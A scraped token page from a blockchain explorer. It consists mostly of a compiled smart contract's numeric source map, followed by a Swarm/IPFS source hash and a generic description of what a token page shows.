30:135:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21285:222;;;21494:1;21482:13;;21285:222;21530:13;;21527:173;;21605:4;21587:24;;;;:9;:24;;;;;;:39;;21616:9;21587:28;:39::i;:::-;21578:4;21560:24;;;;:9;:24;;;;;;;:66;;;;21646:42;;-1:-1:-1;;;;;21646:42:0;;;;;;;21678:9;1781:25:1;;1769:2;1754:18;;1635:177;21646:42:0;;;;;;;;21527:173;21719:21;:6;21730:9;21719:10;:21::i;:::-;21712:28;20811:937;-1:-1:-1;;;;;;20811:937:0:o;23825:666::-;23975:16;;;23989:1;23975:16;;;;;;;;23951:21;;23975:16;;;;;;;;;;-1:-1:-1;23975:16:0;23951:40;;24020:4;24002;24007:1;24002:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24002:23:0;;;:7;;;;;;;;;;:23;;;;24046:15;;:22;;;-1:-1:-1;;;24046:22:0;;;;:15;;;;;:20;;:22;;;;;24002:7;;24046:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24036:4;24041:1;24036:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24036:32:0;;;:7;;;;;;;;;:32;24113:15;;24081:62;;24098:4;;24113:15;24131:11;24081:8;:62::i;:::-;24182:15;;:240;;-1:-1:-1;;;24182:240:0;;-1:-1:-1;;;;;24182:15:0;;;;:66;;:240;;24263:11;;24182:15;;24333:4;;24360;;24396:15;;24182:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24448:35;24465:11;24478:4;24448:35;;;;;;;:::i;:::-;;;;;;;;23880:611;23825:666;:::o;1335:136::-;1393:7;1420:43;1424:1;1427;1420:43;;;;;;;;;;;;;;;;;:3;:43::i;1679:250::-;1737:7;1761:1;1766;1761:6;1757:47;;-1:-1:-1;1791:1:0;1784:8;;1757:47;1816:9;1828:5;1832:1;1828;:5;:::i;:::-;1816:17;-1:-1:-1;1861:1:0;1852:5;1856:1;1816:17;1852:5;:::i;:::-;:10;1844:56;;;;-1:-1:-1;;;1844:56:0;;16068:2:1;1844:56:0;;;16050:21:1;16107:2;16087:18;;;16080:30;16146:34;16126:18;;;16119:62;-1:-1:-1;;;16197:18:1;;;16190:31;16238:19;;1844:56:0;15866:397:1;1937:132:0;1995:7;2022:39;2026:1;2029;2022:39;;;;;;;;;;;;;;;;;2163:7;2198:12;2191:5;2183:28;;;;-1:-1:-1;;;2183:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2222:9:0;2234:5;2238:1;2234;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;888:315;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1817:456::-;1894:6;1902;1910;1963:2;1951:9;1942:7;1938:23;1934:32;1931:52;;;1979:1;1976;1969:12;1931:52;2018:9;2005:23;2037:31;2062:5;2037:31;:::i;:::-;2087:5;-1:-1:-1;2144:2:1;2129:18;;2116:32;2157:33;2116:32;2157:33;:::i;:::-;1817:456;;2209:7;;-1:-1:-1;;;2263:2:1;2248:18;;;;2235:32;;1817:456::o;2467:247::-;2526:6;2579:2;2567:9;2558:7;2554:23;2550:32;2547:52;;;2595:1;2592;2585:12;2547:52;2634:9;2621:23;2653:31;2678:5;2653:31;:::i;3151:367::-;3214:8;3224:6;3278:3;3271:4;3263:6;3259:17;3255:27;3245:55;;3296:1;3293;3286:12;3245:55;-1:-1:-1;3319:20:1;;3362:18;3351:30;;3348:50;;;3394:1;3391;3384:12;3348:50;3431:4;3423:6;3419:17;3407:29;;3491:3;3484:4;3474:6;3471:1;3467:14;3459:6;3455:27;3451:38;3448:47;3445:67;;;3508:1;3505;3498:12;3445:67;3151:367;;;;;:::o;3523:1224::-;3690:6;3698;3706;3714;3722;3730;3738;3791:3;3779:9;3770:7;3766:23;3762:33;3759:53;;;3808:1;3805;3798:12;3759:53;3848:9;3835:23;3877:18;3918:2;3910:6;3907:14;3904:34;;;3934:1;3931;3924:12;3904:34;3973:70;4035:7;4026:6;4015:9;4011:22;3973:70;:::i;:::-;4062:8;;-1:-1:-1;3947:96:1;-1:-1:-1;4147:2:1;4132:18;;4119:32;;-1:-1:-1;4160:31:1;4119:32;4160:31;:::i;:::-;4210:5;;-1:-1:-1;4268:2:1;4253:18;;4240:32;;4284:16;;;4281:36;;;4313:1;4310;4303:12;4281:36;4352:72;4416:7;4405:8;4394:9;4390:24;4352:72;:::i;:::-;4443:8;;-1:-1:-1;4326:98:1;-1:-1:-1;4531:2:1;4516:18;;4503:32;;-1:-1:-1;4547:16:1;;;4544:36;;;4576:1;4573;4566:12;4544:36;;4615:72;4679:7;4668:8;4657:9;4653:24;4615:72;:::i;:::-;3523:1224;;;;-1:-1:-1;3523:1224:1;;-1:-1:-1;3523:1224:1;;;;4589:98;;-1:-1:-1;;;3523:1224:1:o;4752:118::-;4838:5;4831:13;4824:21;4817:5;4814:32;4804:60;;4860:1;4857;4850:12;4875:382;4940:6;4948;5001:2;4989:9;4980:7;4976:23;4972:32;4969:52;;;5017:1;5014;5007:12;4969:52;5056:9;5043:23;5075:31;5100:5;5075:31;:::i;:::-;5125:5;-1:-1:-1;5182:2:1;5167:18;;5154:32;5195:30;5154:32;5195:30;:::i;:::-;5244:7;5234:17;;;4875:382;;;;;:::o;5262:241::-;5318:6;5371:2;5359:9;5350:7;5346:23;5342:32;5339:52;;;5387:1;5384;5377:12;5339:52;5426:9;5413:23;5445:28;5467:5;5445:28;:::i;5508:388::-;5576:6;5584;5637:2;5625:9;5616:7;5612:23;5608:32;5605:52;;;5653:1;5650;5643:12;5605:52;5692:9;5679:23;5711:31;5736:5;5711:31;:::i;:::-;5761:5;-1:-1:-1;5818:2:1;5803:18;;5790:32;5831:33;5790:32;5831:33;:::i;5901:380::-;5980:1;5976:12;;;;6023;;;6044:61;;6098:4;6090:6;6086:17;6076:27;;6044:61;6151:2;6143:6;6140:14;6120:18;6117:38;6114:161;;6197:10;6192:3;6188:20;6185:1;6178:31;6232:4;6229:1;6222:15;6260:4;6257:1;6250:15;6114:161;;5901:380;;;:::o;6286:356::-;6488:2;6470:21;;;6507:18;;;6500:30;6566:34;6561:2;6546:18;;6539:62;6633:2;6618:18;;6286:356::o;8109:245::-;8176:6;8229:2;8217:9;8208:7;8204:23;8200:32;8197:52;;;8245:1;8242;8235:12;8197:52;8277:9;8271:16;8296:28;8318:5;8296:28;:::i;8359:127::-;8420:10;8415:3;8411:20;8408:1;8401:31;8451:4;8448:1;8441:15;8475:4;8472:1;8465:15;8491:127;8552:10;8547:3;8543:20;8540:1;8533:31;8583:4;8580:1;8573:15;8607:4;8604:1;8597:15;8623:125;8688:9;;;8709:10;;;8706:36;;;8722:18;;:::i;8753:135::-;8792:3;8813:17;;;8810:43;;8833:18;;:::i;:::-;-1:-1:-1;8880:1:1;8869:13;;8753:135::o;12660:128::-;12727:9;;;12748:11;;;12745:37;;;12762:18;;:::i;13825:251::-;13895:6;13948:2;13936:9;13927:7;13923:23;13919:32;13916:52;;;13964:1;13961;13954:12;13916:52;13996:9;13990:16;14015:31;14040:5;14015:31;:::i;14081:461::-;14134:3;14172:5;14166:12;14199:6;14194:3;14187:19;14225:4;14254:2;14249:3;14245:12;14238:19;;14291:2;14284:5;14280:14;14312:1;14322:195;14336:6;14333:1;14330:13;14322:195;;;14401:13;;-1:-1:-1;;;;;14397:39:1;14385:52;;14457:12;;;;14492:15;;;;14433:1;14351:9;14322:195;;;-1:-1:-1;14533:3:1;;14081:461;-1:-1:-1;;;;;14081:461:1:o;14547:582::-;14846:6;14835:9;14828:25;14889:6;14884:2;14873:9;14869:18;14862:34;14932:3;14927:2;14916:9;14912:18;14905:31;14809:4;14953:57;15005:3;14994:9;14990:19;14982:6;14953:57;:::i;:::-;-1:-1:-1;;;;;15046:32:1;;;;15041:2;15026:18;;15019:60;-1:-1:-1;15110:3:1;15095:19;15088:35;14945:65;14547:582;-1:-1:-1;;;14547:582:1:o;15134:332::-;15341:6;15330:9;15323:25;15384:2;15379;15368:9;15364:18;15357:30;15304:4;15404:56;15456:2;15445:9;15441:18;15433:6;15404:56;:::i;:::-;15396:64;15134:332;-1:-1:-1;;;;15134:332:1:o;15471:168::-;15544:9;;;15575;;15592:15;;;15586:22;;15572:37;15562:71;;15613:18;;:::i;15644:217::-;15684:1;15710;15700:132;;15754:10;15749:3;15745:20;15742:1;15735:31;15789:4;15786:1;15779:15;15817:4;15814:1;15807:15;15700:132;-1:-1:-1;15846:9:1;;15644:217::o

Swarm Source

ipfs://0212b6deddeeb7c8ee23a850099bd99402ab99fe500bf48fb7b1d706e5522340
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.